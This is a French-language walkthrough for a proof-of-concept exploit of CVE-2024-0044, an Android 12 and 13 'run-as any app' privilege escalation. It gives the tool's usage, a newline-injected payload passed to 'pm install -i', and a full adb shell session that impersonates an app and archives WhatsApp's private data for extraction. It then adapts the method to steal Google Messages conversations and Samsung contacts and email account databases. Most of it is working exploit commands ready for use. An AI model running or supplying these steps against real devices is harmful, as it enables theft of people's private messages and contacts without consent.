
CVE-2024-0044 : une vulnérabilité de gravité élevée « run-as n'importe quelle application » affectant les versions 12 et 13 d'Android.
CVE-2024-0044, identifiée dans la fonction createSessionInternal du fichier PackageInstallerService.java, est une vulnérabilité de haute sévérité affectant les versions 12 et 13 d'Android. Cette vulnérabilité permet à un attaquant d'effectuer une attaque « run-as any app », conduisant à une élévation locale de privilèges sans nécessiter d'interaction de l'utilisateur. Le problème provient d'une validation incorrecte des entrées dans la fonction createSessionInternal. Un attaquant peut l'exploiter en manipulant le processus de création de session, obtenant potentiellement un accès non autorisé à des données sensibles et effectuant des actions non autorisées sur l'appareil concerné.
L'exploit a été découvert par Meta security
La preuve de concept a été résumée et partagée par Tiny hack
Les détails concernant le correctif de sécurité sont disponibles dans le bulletin de sécurité Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P est utilisé pour spécifier le nom du package cible sous lequel vous souhaitez vous exécuter
-A pour spécifier le fichier apk à envoyer sur l'appareil.
Exécutez l'outil
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Un fichier payload.txt comme celui-ci sera généré
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
L'outil automatise certaines parties, d'autres sont manuelles. Vous pouvez quitter après avoir généré le payload et exécuter toutes les commandes manuellement, ou continuer avec les instructions.
Success après la dernière commandepl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Créez un répertoire temporaire : mkdir /data/local/tmp/wa/
Créez un fichier d'espace réservé pour un fichier tar : touch /data/local/tmp/wa/wa.tar
Définissez des permissions largement ouvertes : chmod -R 0777 /data/local/tmp/wa/ afin que tout utilisateur puisse lire, écrire et exécuter dans ce répertoire.
Changez de contexte utilisateur : run-as victim pour obtenir les mêmes permissions que l'utilisateur « victim ».
Archivez les données de l'application cible : tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, créant une archive tar du répertoire de données de WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Vous pouvez extraire les données à l'aide de 7z ou de tout autre outil.
Vous pouvez utiliser Whatsapp chat exporter pour le convertir en HTML.
Cela vous permet d'obtenir les données WhatsApp sans accès root sur votre appareil.
Il suffit de changer le nom du package comme suit :
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Suivez les instructions ci-dessus et, après avoir récupéré le wa.tar, décompressez-le et ouvrez les conversations dans com.google.android.apps.messaging/databases/bugle_db à l'aide de sqlitebrowser ou de tout autre outil.
Testé pour un appareil Samsung. Pour les autres appareils, vérifiez le nom du package du fournisseur de contacts.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Suivez les instructions ci-dessus et, après avoir récupéré le wa.tar, décompressez-le et ouvrez les contacts dans com.samsung.android.providers.contacts/databases/contacts2.db à l'aide de sqlitebrowser ou de tout autre outil. Le fichier db contient toutes les informations des comptes e-mail de l'utilisateur ainsi que la liste des contacts.